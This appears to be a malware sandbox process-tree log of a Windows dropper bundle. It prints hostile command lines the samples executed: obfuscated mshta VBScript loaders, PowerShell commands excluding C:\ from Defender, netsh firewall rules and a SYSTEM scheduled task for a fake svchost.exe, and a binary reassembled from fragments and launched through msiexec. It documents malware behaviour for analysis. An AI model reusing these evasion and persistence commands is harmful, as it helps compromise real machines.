C:\Users\Admin\AppData\Roaming\4499329.exe"C:\Users\Admin\AppData\Roaming\4499329.exe"7⤵PID:6608
-
-
C:\Users\Admin\AppData\Roaming\930538.exe"C:\Users\Admin\AppData\Roaming\930538.exe"7⤵PID:6664
-
-
C:\Users\Admin\AppData\Roaming\3685670.exe"C:\Users\Admin\AppData\Roaming\3685670.exe"7⤵PID:6644
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbscRIpT:cLosE ( cREaTeOBjeCT ("wsCriPT.sHELl"). rUN ("Cmd.exe /q /c Type ""C:\Users\Admin\AppData\Roaming\3685670.exe"" > kSTw_GRvR1eDFi.EXE && StARt kStW_grVR1EDFi.exE /P6l3hjJm2mK1sJpxUmLJ & If """"== """" for %k In ( ""C:\Users\Admin\AppData\Roaming\3685670.exe"" ) do taskkill /F /Im ""%~Nxk"" " ,0 , trUE) )8⤵PID:7000
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c Type "C:\Users\Admin\AppData\Roaming\3685670.exe"> kSTw_GRvR1eDFi.EXE&&StARt kStW_grVR1EDFi.exE /P6l3hjJm2mK1sJpxUmLJ&If ""== "" for %k In ( "C:\Users\Admin\AppData\Roaming\3685670.exe" ) do taskkill /F /Im "%~Nxk"9⤵PID:4456
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\PCfBEAknvddIonj5FfEptfTB.exe"C:\Users\Admin\Pictures\Adobe Films\PCfBEAknvddIonj5FfEptfTB.exe"6⤵PID:4504
-
C:\Users\Admin\Pictures\Adobe Films\PCfBEAknvddIonj5FfEptfTB.exe"C:\Users\Admin\Pictures\Adobe Films\PCfBEAknvddIonj5FfEptfTB.exe"7⤵PID:4472
-
-
-
C:\Users\Admin\Pictures\Adobe Films\cP4OrYF4O7eQnaznZV_g4ZSS.exe"C:\Users\Admin\Pictures\Adobe Films\cP4OrYF4O7eQnaznZV_g4ZSS.exe"6⤵PID:5932
-
-
C:\Users\Admin\Pictures\Adobe Films\Qe9bLkLmFFnLLsgtjtx4s6QF.exe"C:\Users\Admin\Pictures\Adobe Films\Qe9bLkLmFFnLLsgtjtx4s6QF.exe"6⤵PID:5476
-
-
C:\Users\Admin\Pictures\Adobe Films\uSl3BjA5SMWAEtybRn0MZHC3.exe"C:\Users\Admin\Pictures\Adobe Films\uSl3BjA5SMWAEtybRn0MZHC3.exe"6⤵PID:5868
-
-
C:\Users\Admin\Pictures\Adobe Films\PwYyt8Y9mEB0C42rxlEQOh9g.exe"C:\Users\Admin\Pictures\Adobe Films\PwYyt8Y9mEB0C42rxlEQOh9g.exe"6⤵PID:5224
-
-
C:\Users\Admin\Pictures\Adobe Films\P0ZCxUQR1xQwf54ATGwqz1nn.exe"C:\Users\Admin\Pictures\Adobe Films\P0ZCxUQR1xQwf54ATGwqz1nn.exe"6⤵PID:5168
-
C:\Users\Admin\Pictures\Adobe Films\P0ZCxUQR1xQwf54ATGwqz1nn.exe"C:\Users\Admin\Pictures\Adobe Films\P0ZCxUQR1xQwf54ATGwqz1nn.exe"7⤵PID:6264
-
-
-
C:\Users\Admin\Pictures\Adobe Films\rBFlAl_yJuelUWGQWXwXRauf.exe"C:\Users\Admin\Pictures\Adobe Films\rBFlAl_yJuelUWGQWXwXRauf.exe"6⤵PID:4376
-
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"7⤵PID:6096
-
-
-
C:\Users\Admin\Pictures\Adobe Films\Q3Nr3JSni0ujCJ3pzKMnIvk6.exe"C:\Users\Admin\Pictures\Adobe Films\Q3Nr3JSni0ujCJ3pzKMnIvk6.exe"6⤵PID:3988
-
-
C:\Users\Admin\Pictures\Adobe Films\DvyWo4uh8y6X4KiloarRJ7DM.exe"C:\Users\Admin\Pictures\Adobe Films\DvyWo4uh8y6X4KiloarRJ7DM.exe"6⤵PID:5884
-
-
C:\Users\Admin\Pictures\Adobe Films\xzUxBINUgrtbygP_g08Yy8Ta.exe"C:\Users\Admin\Pictures\Adobe Films\xzUxBINUgrtbygP_g08Yy8Ta.exe"6⤵PID:4904
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\7⤵PID:4232
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \7⤵PID:3368
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes7⤵PID:1248
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes7⤵PID:4788
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM7⤵
- Creates scheduled task(s)
PID:4688
-
-
C:\Windows\System\svchost.exe"C:\Windows\System\svchost.exe" formal7⤵PID:3704
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\8⤵PID:6316
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes8⤵PID:1376
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes8⤵PID:2200
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \8⤵PID:6448
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\JI83uSwuHz89xKcXcZaL4AwS.exe"C:\Users\Admin\Pictures\Adobe Films\JI83uSwuHz89xKcXcZaL4AwS.exe"6⤵PID:5152
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"7⤵PID:4648
-
-
-
C:\Users\Admin\Pictures\Adobe Films\WiBpi4RtlLhYAHRpCC3j9R_H.exe"C:\Users\Admin\Pictures\Adobe Films\WiBpi4RtlLhYAHRpCC3j9R_H.exe"6⤵PID:5524
-
-
C:\Users\Admin\Pictures\Adobe Films\bMVRzVvImxAEDFJNzrJjhFtf.exe"C:\Users\Admin\Pictures\Adobe Films\bMVRzVvImxAEDFJNzrJjhFtf.exe"6⤵PID:1168
-
-
C:\Users\Admin\Pictures\Adobe Films\y_JkRayvzr_g_GctoPeoV46P.exe"C:\Users\Admin\Pictures\Adobe Films\y_JkRayvzr_g_GctoPeoV46P.exe"6⤵PID:2660
-
-
C:\Users\Admin\Pictures\Adobe Films\E6ujUF2zkXA0ESAiwR0AGKgo.exe"C:\Users\Admin\Pictures\Adobe Films\E6ujUF2zkXA0ESAiwR0AGKgo.exe"6⤵PID:1052
-
-
C:\Users\Admin\Pictures\Adobe Films\fYNikiexmjTFOXWvXfXB0kWu.exe"C:\Users\Admin\Pictures\Adobe Films\fYNikiexmjTFOXWvXfXB0kWu.exe"6⤵PID:4892
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\fYNikiexmjTFOXWvXfXB0kWu.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\fYNikiexmjTFOXWvXfXB0kWu.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )7⤵PID:3976
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\fYNikiexmjTFOXWvXfXB0kWu.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\fYNikiexmjTFOXWvXfXB0kWu.exe" ) do taskkill -im "%~NxK" -F8⤵PID:5352
-
C:\Users\Admin\AppData\Local\Temp\8pWB.eXE8pWB.eXe /pO_wtib1KE0hzl7U9_CYP9⤵PID:2288
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )10⤵PID:6280
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F11⤵PID:3612
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -im "fYNikiexmjTFOXWvXfXB0kWu.exe" -F9⤵
- Kills process with taskkill
PID:5892
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\G5ksYaBCmWGd6crJh_fdGBzU.exe"C:\Users\Admin\Pictures\Adobe Films\G5ksYaBCmWGd6crJh_fdGBzU.exe"6⤵PID:6992
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue01de2411919659f09.exe4⤵PID:1676
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue01e8898e0d1fce4.exe4⤵PID:3972
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1996 -s 6324⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:1144
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue0195119235.exe4⤵PID:3516
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue018bc5c5a0a3d4.exe4⤵PID:868
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue010769fc7f9829.exe4⤵PID:1412
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue017abac33187.exe4⤵PID:708
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue01994ec7a792fea9.exe4⤵
- Suspicious use of WriteProcessMemory
PID:1132
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS882F3E66\Tue017abac33187.exeTue017abac33187.exe1⤵
- Executes dropped EXE
PID:1876 -
C:\Users\Admin\AppData\Local\Temp\7zS882F3E66\Tue017abac33187.exeC:\Users\Admin\AppData\Local\Temp\7zS882F3E66\Tue017abac33187.exe2⤵PID:4160
-
-
C:\Users\Admin\AppData\Local\Temp\7zS882F3E66\Tue018bc5c5a0a3d4.exeTue018bc5c5a0a3d4.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3524
-
C:\Users\Admin\AppData\Local\Temp\7zS882F3E66\Tue0195119235.exeTue0195119235.exe1⤵
- Executes dropped EXE
PID:3556 -
C:\Users\Admin\AppData\Local\Temp\7zS882F3E66\Tue0195119235.exe"C:\Users\Admin\AppData\Local\Temp\7zS882F3E66\Tue0195119235.exe" -u2⤵
- Executes dropped EXE
PID:2840
-
-
C:\Users\Admin\AppData\Local\Temp\7zS882F3E66\Tue01de2411919659f09.exeTue01de2411919659f09.exe1⤵
- Executes dropped EXE
PID:3208 -
C:\Users\Admin\AppData\Local\Temp\7zS882F3E66\Tue01de2411919659f09.exeC:\Users\Admin\AppData\Local\Temp\7zS882F3E66\Tue01de2411919659f09.exe2⤵PID:4120
-
-
C:\Users\Admin\AppData\Local\Temp\7zS882F3E66\Tue010769fc7f9829.exeTue010769fc7f9829.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3068
-
C:\Users\Admin\AppData\Local\Temp\7zS882F3E66\Tue01e8898e0d1fce4.exeTue01e8898e0d1fce4.exe1⤵
- Executes dropped EXE
PID:1100 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscriPT: cLOsE( crEaTeoBjEct ( "wsCriPT.ShEll" ). ruN ( "cMD /Q /r copY /Y ""C:\Users\Admin\AppData\Local\Temp\7zS882F3E66\Tue01e8898e0d1fce4.exe"" ..\GhXkKMW.EXe &&sTarT ..\GhXkKMW.Exe /pzztRb0w26vFPLWe3xRyQv & If """" == """" for %K in (""C:\Users\Admin\AppData\Local\Temp\7zS882F3E66\Tue01e8898e0d1fce4.exe"") do taskkill /f /IM ""%~NXK"" ", 0, tRuE) )2⤵PID:2940
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /r copY /Y "C:\Users\Admin\AppData\Local\Temp\7zS882F3E66\Tue01e8898e0d1fce4.exe" ..\GhXkKMW.EXe &&sTarT ..\GhXkKMW.Exe /pzztRb0w26vFPLWe3xRyQv &If "" == "" for %K in ("C:\Users\Admin\AppData\Local\Temp\7zS882F3E66\Tue01e8898e0d1fce4.exe") do taskkill /f /IM "%~NXK"3⤵PID:4224
-
C:\Users\Admin\AppData\Local\Temp\GhXkKMW.EXe..\GhXkKMW.Exe /pzztRb0w26vFPLWe3xRyQv4⤵PID:4632
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscriPT: cLOsE( crEaTeoBjEct ( "wsCriPT.ShEll" ). ruN ( "cMD /Q /r copY /Y ""C:\Users\Admin\AppData\Local\Temp\GhXkKMW.EXe"" ..\GhXkKMW.EXe &&sTarT ..\GhXkKMW.Exe /pzztRb0w26vFPLWe3xRyQv & If ""/pzztRb0w26vFPLWe3xRyQv "" == """" for %K in (""C:\Users\Admin\AppData\Local\Temp\GhXkKMW.EXe"") do taskkill /f /IM ""%~NXK"" ", 0, tRuE) )5⤵PID:4820
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /r copY /Y "C:\Users\Admin\AppData\Local\Temp\GhXkKMW.EXe" ..\GhXkKMW.EXe &&sTarT ..\GhXkKMW.Exe /pzztRb0w26vFPLWe3xRyQv &If "/pzztRb0w26vFPLWe3xRyQv " == "" for %K in ("C:\Users\Admin\AppData\Local\Temp\GhXkKMW.EXe") do taskkill /f /IM "%~NXK"6⤵PID:4932
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBScrIPT: cLose (creATeoBjECt ( "WscriPT.shELL" ).ruN ( "cmD.Exe /c eCHo | SeT /p = ""MZ"" > CejRuqC.56S & copY /Y /b CEJRUqC.56S +D5S9N.M + HOdVbD.N + 6Gk1G.c4O + JN1iGT.j ..\32aZBXCS.EP& sTARt msiexec.exe -y ..\32AZBxCS.EP & del /Q * ", 0 , True ) )5⤵PID:4300
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c eCHo | SeT /p = "MZ" > CejRuqC.56S & copY /Y /b CEJRUqC.56S +D5S9N.M + HOdVbD.N+ 6Gk1G.c4O +JN1iGT.j ..\32aZBXCS.EP& sTARt msiexec.exe -y ..\32AZBxCS.EP &del /Q *6⤵PID:4344
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" eCHo "7⤵PID:1324
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SeT /p = "MZ" 1>CejRuqC.56S"7⤵PID:1496
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe -y ..\32AZBxCS.EP7⤵PID:5168
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /IM "Tue01e8898e0d1fce4.exe"4⤵
- Kills process with taskkill
PID:4756
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS882F3E66\Tue01994ec7a792fea9.exeTue01994ec7a792fea9.exe1⤵
- Executes dropped EXE
PID:3980 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\_Dzpafigaxd.vbs"2⤵PID:5536
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionPath C:\,'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Google\Qekdqa.exe'3⤵PID:2280
-
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Dzpafigaxd.vbs"2⤵PID:1496
-
C:\Users\Admin\AppData\Local\Temp\Fphrgjtnjgrqbtrochalunsaintly_2021-10-24_21-38.exe"C:\Users\Admin\AppData\Local\Temp\Fphrgjtnjgrqbtrochalunsaintly_2021-10-24_21-38.exe"3⤵PID:2500
-
-
-
C:\Users\Admin\AppData\Local\Temp\MSBuild.exeC:\Users\Admin\AppData\Local\Temp\MSBuild.exe2⤵PID:4916
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.google.com3⤵PID:4144
-
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:4492
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:4692
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:1876 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:2424
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵PID:4244
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:4508
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:5444
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:5728
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:5736